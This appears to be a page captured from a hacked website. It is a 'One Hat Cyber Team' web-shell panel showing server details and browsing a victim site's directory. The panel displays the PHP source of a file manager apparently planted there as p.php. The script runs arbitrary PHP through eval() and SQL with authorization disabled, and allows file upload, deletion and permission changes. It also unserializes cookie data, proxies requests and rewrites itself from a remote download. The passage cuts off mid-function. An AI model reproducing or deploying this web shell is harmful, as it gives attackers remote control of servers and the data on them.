⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.116
Server IP:
78.40.11.138
Server:
Linux tango.o2switch.net 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
sc1voni9410
/
aviawest.com
/
View File Name :
p.php
<?php /* PHP File manager ver 1.4 */ // Configuration �� do not change manually! $authorization = \'{\"authorize\":\"0\",\"login\":\"admin\",\"password\":\"phpfm\",\"cookie_name\":\"fm_user\",\"days_authorization\":\"30\",\"script\":\"<script type=\\\"text\\/javascript\\\" src=\\\"https:\\/\\/www.cdolivet.com\\/editarea\\/editarea\\/edit_area\\/edit_area_full.js\\\"><\\/script>\\r\\n<script language=\\\"Javascript\\\" type=\\\"text\\/javascript\\\">\\r\\neditAreaLoader.init({\\r\\nid: \\\"newcontent\\\"\\r\\n,display: \\\"later\\\"\\r\\n,start_highlight: true\\r\\n,allow_resize: \\\"both\\\"\\r\\n,allow_toggle: true\\r\\n,word_wrap: true\\r\\n,language: \\\"ru\\\"\\r\\n,syntax: \\\"php\\\"\\t\\r\\n,toolbar: \\\"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\\\"\\r\\n,syntax_selection_allow: \\\"css,html,js,php,python,xml,c,cpp,sql,basic,pas\\\"\\r\\n});\\r\\n<\\/script>\"}\'; $php_templates = \'{\"Settings\":\"global $fm_config;\\r\\nvar_export($fm_config);\",\"Backup SQL tables\":\"echo fm_backup_tables();\"}\'; $sql_templates = \'{\"All bases\":\"SHOW DATABASES;\",\"All tables\":\"SHOW TABLES;\"}\'; $translation = \'{\"id\":\"en\",\"Add\":\"Add\",\"Are you sure you want to delete this directory (recursively)?\":\"Are you sure you want to delete this directory (recursively)?\",\"Are you sure you want to delete this file?\":\"Are you sure you want to delete this file?\",\"Archiving\":\"Archiving\",\"Authorization\":\"Authorization\",\"Back\":\"Back\",\"Cancel\":\"Cancel\",\"Chinese\":\"Chinese\",\"Compress\":\"Compress\",\"Console\":\"Console\",\"Cookie\":\"Cookie\",\"Created\":\"Created\",\"Date\":\"Date\",\"Days\":\"Days\",\"Decompress\":\"Decompress\",\"Delete\":\"Delete\",\"Deleted\":\"Deleted\",\"Download\":\"Download\",\"done\":\"done\",\"Edit\":\"Edit\",\"Enter\":\"Enter\",\"English\":\"English\",\"Error occurred\":\"Error occurred\",\"File manager\":\"File manager\",\"File selected\":\"File selected\",\"File updated\":\"File updated\",\"Filename\":\"Filename\",\"Files uploaded\":\"Files uploaded\",\"French\":\"French\",\"Generation time\":\"Generation time\",\"German\":\"German\",\"Home\":\"Home\",\"Quit\":\"Quit\",\"Language\":\"Language\",\"Login\":\"Login\",\"Manage\":\"Manage\",\"Make directory\":\"Make directory\",\"Name\":\"Name\",\"New\":\"New\",\"New file\":\"New file\",\"no files\":\"no files\",\"Password\":\"Password\",\"pictures\":\"pictures\",\"Recursively\":\"Recursively\",\"Rename\":\"Rename\",\"Reset\":\"Reset\",\"Reset settings\":\"Reset settings\",\"Restore file time after editing\":\"Restore file time after editing\",\"Result\":\"Result\",\"Rights\":\"Rights\",\"Russian\":\"Russian\",\"Save\":\"Save\",\"Select\":\"Select\",\"Select the file\":\"Select the file\",\"Settings\":\"Settings\",\"Show\":\"Show\",\"Show size of the folder\":\"Show size of the folder\",\"Size\":\"Size\",\"Spanish\":\"Spanish\",\"Submit\":\"Submit\",\"Task\":\"Task\",\"templates\":\"templates\",\"Ukrainian\":\"Ukrainian\",\"Upload\":\"Upload\",\"Value\":\"Value\",\"Hello\":\"Hello\"}\'; // end configuration // Preparations $starttime = explode(\' \', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array(\'en\',\'ru\',\'de\',\'fr\',\'uk\'); $path = empty($_REQUEST[\'path\']) ? $path = realpath(\'.\') : realpath($_REQUEST[\'path\']); $path = str_replace(\'\\\\\', \'/\', $path) . \'/\'; $main_path=str_replace(\'\\\\\', \'/\',realpath(\'./\')); $phar_maybe = (version_compare(phpversion(),\"5.3.0\",\"<\"))?true:false; $msg = \'\'; // service string $default_language = \'ru\'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization,true); $auth[\'authorize\'] = isset($auth[\'authorize\']) ? $auth[\'authorize\'] : 0; $auth[\'days_authorization\'] = (isset($auth[\'days_authorization\'])&&is_numeric($auth[\'days_authorization\'])) ? (int)$auth[\'days_authorization\'] : 30; $auth[\'login\'] = isset($auth[\'login\']) ? $auth[\'login\'] : \'admin\'; $auth[\'password\'] = isset($auth[\'password\']) ? $auth[\'password\'] : \'phpfm\'; $auth[\'cookie_name\'] = isset($auth[\'cookie_name\']) ? $auth[\'cookie_name\'] : \'fm_user\'; $auth[\'script\'] = isset($auth[\'script\']) ? $auth[\'script\'] : \'\'; // Little default config $fm_default_config = array ( \'make_directory\' => true, \'new_file\' => true, \'upload_file\' => true, \'show_dir_size\' => false, //if true, show directory size �� maybe slow \'show_img\' => true, \'show_php_ver\' => true, \'show_php_ini\' => false, // show path to current php.ini \'show_gt\' => true, // show generation time \'enable_php_console\' => true, \'enable_sql_console\' => true, \'sql_server\' => \'localhost\', \'sql_username\' => \'root\', \'sql_password\' => \'\', \'sql_db\' => \'test_base\', \'enable_proxy\' => true, \'show_phpinfo\' => true, \'show_xls\' => true, \'fm_settings\' => true, \'restore_time\' => true, \'fm_restore_time\' => false, ); if (empty($_COOKIE[\'fm_config\'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE[\'fm_config\']); // Change language if (isset($_POST[\'fm_lang\'])) { setcookie(\'fm_lang\', $_POST[\'fm_lang\'], time() + (86400 * $auth[\'days_authorization\'])); $_COOKIE[\'fm_lang\'] = $_POST[\'fm_lang\']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER[\'HTTP_ACCEPT_LANGUAGE\']) && empty($_COOKIE[\'fm_lang\'])){ $lang_priority = explode(\',\', $_SERVER[\'HTTP_ACCEPT_LANGUAGE\']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(\';\', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE[\'fm_lang\'])) ? $language : $_COOKIE[\'fm_lang\']; // Localization $lang = json_decode($translation,true); if ($lang[\'id\']!=$language) { $get_lang = file_get_contents(\'https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/\' . $language . \'.json\'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace(\"\'\",\''\',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match(\'#translation[\\s]?\\=[\\s]?\\\'\\{\\\"(.*?)\\\"\\}\\\';#\', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace(\'{\"\'.$matches[1].\'\"}\',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __(\'File updated\'); } else $msg .= __(\'Error occurred\'); if (!empty($fm_config[\'fm_restore_time\'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, \'\', \'\', true); foreach ($els as $el) { if($el != \'.\' && $el != \'..\'){ fm_del_files($file . \'/\' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = \'\'; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = \'s\'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = \'l\'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = \'-\'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = \'b\'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = \'d\'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = \'c\'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = \'p\'; } else { //Unknown $info = \'u\'; } } //Owner $info .= (($perms & 0x0100) ? \'r\' : \'-\'); $info .= (($perms & 0x0080) ? \'w\' : \'-\'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? \'s\' : \'x\' ) : (($perms & 0x0800) ? \'S\' : \'-\')); //Group $info .= (($perms & 0x0020) ? \'r\' : \'-\'); $info .= (($perms & 0x0010) ? \'w\' : \'-\'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? \'s\' : \'x\' ) : (($perms & 0x0400) ? \'S\' : \'-\')); //World $info .= (($perms & 0x0004) ? \'r\' : \'-\'); $info .= (($perms & 0x0002) ? \'w\' : \'-\'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? \'t\' : \'x\' ) : (($perms & 0x0200) ? \'T\' : \'-\')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,\'-\'); $trans = array(\'-\'=>\'0\',\'r\'=>\'4\',\'w\'=>\'2\',\'x\'=>\'1\'); $mode = strtr($mode,$trans); $newmode = \'0\'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . \'/\' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header(\"Content-Disposition: attachment; filename=\" . basename($file_name)); header(\"Content-Type: application/force-download\"); header(\"Content-Type: application/octet-stream\"); header(\"Content-Type: application/download\"); header(\"Content-Description: File Transfer\"); header(\"Content-Length: \" . filesize($file_name)); flush(); // this doesn\'t really matter. $fp = fopen($file_name, \"r\"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header(\'HTTP/1.0 404 Not Found\', true, 404); header(\'Status: 404 Not Found\'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.\' bytes\'; elseif($size<=1024*1024) return round($size/(1024),2).\' Kb\'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).\' Mb\'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).\' Gb\'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).\' Tb\'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).\' Pb\'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file==\'.\' || $file==\'..\') continue; if(is_file($f.\'/\'.$file)) $size+=filesize($f.\'/\'.$file); else $size+=fm_dir_size($f.\'/\'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = \'\', $type = \'all\', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = \'/^\' . str_replace(\'*\', \'(.*)\', str_replace(\'.\', \'\\\\.\', $exp)) . \'$/\'; } if(!empty($type) && $type !== \'all\'){ $func = \'is_\' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != \'.\' || $do_not_filter) { if((empty($type) || $type == \'all\' || $func($directory . \'/\' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title=\'\') { if (empty($title)) $title=$name.\' \'.basename($link); return \' <a href=\"?\'.$get.\'=\'.base64_encode($link).\'\" title=\"\'.$title.\'\">\'.$name.\'</a>\'; } function fm_arr_to_option($arr,$n,$sel=\'\'){ foreach($arr as $v){ $b=$v[$n]; $res.=\'<option value=\"\'.$b.\'\" \'.($sel && $sel==$b?\'selected\':\'\').\'>\'.$b.\'</option>\'; } return $res; } function fm_lang_form ($current=\'en\'){ return \' <form name=\"change_lang\" method=\"post\" action=\"\"> <select name=\"fm_lang\" title=\"\'.__(\'Language\').\'\" onchange=\"document.forms[\\\'change_lang\\\'].submit()\" > <option value=\"en\" \'.($current==\'en\'?\'selected=\"selected\" \':\'\').\'>\'.__(\'English\').\'</option> <option value=\"de\" \'.($current==\'de\'?\'selected=\"selected\" \':\'\').\'>\'.__(\'German\').\'</option> <option value=\"ru\" \'.($current==\'ru\'?\'selected=\"selected\" \':\'\').\'>\'.__(\'Russian\').\'</option> <option value=\"fr\" \'.($current==\'fr\'?\'selected=\"selected\" \':\'\').\'>\'.__(\'French\').\'</option> <option value=\"uk\" \'.($current==\'uk\'?\'selected=\"selected\" \':\'\').\'>\'.__(\'Ukrainian\').\'</option> </select> </form> \'; } function fm_root($dirname){ return ($dirname==\'.\' OR $dirname==\'..\'); } function fm_php($string){ $display_errors=ini_get(\'display_errors\'); ini_set(\'display_errors\', \'1\'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set(\'display_errors\', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config[\'sql_server\'], $fm_config[\'sql_username\'], $fm_config[\'sql_password\'], $fm_config[\'sql_db\']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset(\'utf8\'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?\'\':var_export($query_result,true); ob_end_clean(); $connection->close(); return \'<pre>\'.stripslashes($vdump).\'</pre>\'; } } function fm_backup_tables($tables = \'*\', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = \"; \\n \\n\"; if($tables == \'*\') { $tables = array(); $result = $mysqldb->query(\'SHOW TABLES\'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(\',\',$tables); } $return=\'\'; foreach($tables as $table) { $result = $mysqldb->query(\'SELECT * FROM \'.$table); $num_fields = mysqli_num_fields($result); $return.= \'DROP TABLE IF EXISTS `\'.$table.\'`\'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query(\'SHOW CREATE TABLE \'.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= \'INSERT INTO `\'.$table.\'` VALUES(\'; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace(\"\\n\",\"\\\\n\",$row[$j]); if (isset($row[$j])) { $return.= \'\"\'.$row[$j].\'\"\' ; } else { $return.= \'\"\"\'; } if ($j<($num_fields-1)) { $return.= \',\'; } } $return.= \')\'.$delimiter; } } } else { $return = preg_replace(\"#AUTO_INCREMENT=[\\d]+ #is\", \'\', $return); } $return.=\"\\n\\n\\n\"; } //save file $file=gmdate(\"Y-m-d_H-i-s\",time()).\'.sql\'; $handle = fopen($file,\'w+\'); fwrite($handle,$return); fclose($handle); $alert = \'onClick=\"if(confirm(\\\'\'. __(\'File selected\').\': \\n\'. $file. \'. \\n\'.__(\'Are you sure you want to delete this file?\') . \'\\\')) document.location.href = \\\'?delete=\' . $file . \'&path=\' . $path . \'\\\'\"\'; return $file.\': \'.fm_link(\'download\',$path.$file,__(\'Download\'),__(\'Download\').\' \'.$file).\' <a href=\"#\" title=\"\' . __(\'Delete\') . \' \'. $file . \'\" \' . $alert . \'>\' . __(\'Delete\') . \'</a>\'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = \"; \\n \\n\"; // Load and explode the sql file $f = fopen($sqlFileToExecute,\"r+\"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __(\'Success\').\' �� \'.$sqlFileToExecute; else return $sqlErrorText.\'<br/>\'.$stmt; } function fm_img_link($filename){ return \'./\'.basename(__FILE__).\'?img=\'.base64_encode($filename); } function fm_home_style(){ return \' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: gt; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: red; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==\"); background-repeat: no-repeat; }\'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return \'<tr><td class=\"row1\"><input id=\"fm_config_\'.$value.\'\" name=\"fm_config[\'.$value.\']\" value=\"1\" \'.(empty($fm_config[$value])?\'\':\'checked=\"true\"\').\' type=\"checkbox\"></td><td class=\"row2 whole\"><label for=\"fm_config_\'.$value.\'\">\'.$name.\'</td></tr>\'; } function fm_protocol() { if (isset($_SERVER[\'HTTP_SCHEME\'])) return $_SERVER[\'HTTP_SCHEME\'].\'://\'; if (isset($_SERVER[\'HTTPS\']) && $_SERVER[\'HTTPS\'] == \'on\') return \'https://\'; if (isset($_SERVER[\'SERVER_PORT\']) && $_SERVER[\'SERVER_PORT\'] == 443) return \'https://\'; if (isset($_SERVER[\'HTTP_X_FORWARDED_PROTO\']) && $_SERVER[\'HTTP_X_FORWARDED_PROTO\'] == \'https\') return \'https://\'; return \'http://\'; } function fm_site_url() { return fm_protocol().$_SERVER[\'HTTP_HOST\']; } function fm_url($full=false) { $host=$full?fm_site_url():\'.\'; return $host.\'/\'.basename(__FILE__); } function fm_home($full=false){ return \' <a href=\"\'.fm_url($full).\'\" title=\"\'.__(\'Home\').\'\"><span class=\"home\"> </span></a>\'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config[\'enable_\'.$lng.\'_console\']) ? \' <form method=\"post\" action=\"\'.fm_url().\'\" style=\"display:inline\"> <input type=\"submit\" name=\"\'.$lng.\'run\" value=\"\'.strtoupper($lng).\' \'.__(\'Console\').\'\"> </form> \' : \'\'; return $return; } function fm_url_proxy($matches) { $link = str_replace(\'&\',\'&\',$matches[2]); $url = isset($_GET[\'url\'])?$_GET[\'url\']:\'\'; $parse_url = parse_url($url); $host = $parse_url[\'scheme\'].\'://\'.$parse_url[\'host\'].\'/\'; if (substr($link,0,2)==\'//\') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)==\'/\') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)==\'./\') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)==\'http\') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]==\'href\' && !strripos($link, \'css\')) { $base = fm_site_url().\'/\'.basename(__FILE__); $baseq = $base.\'?proxy=true&url=\'; $link = $baseq.urlencode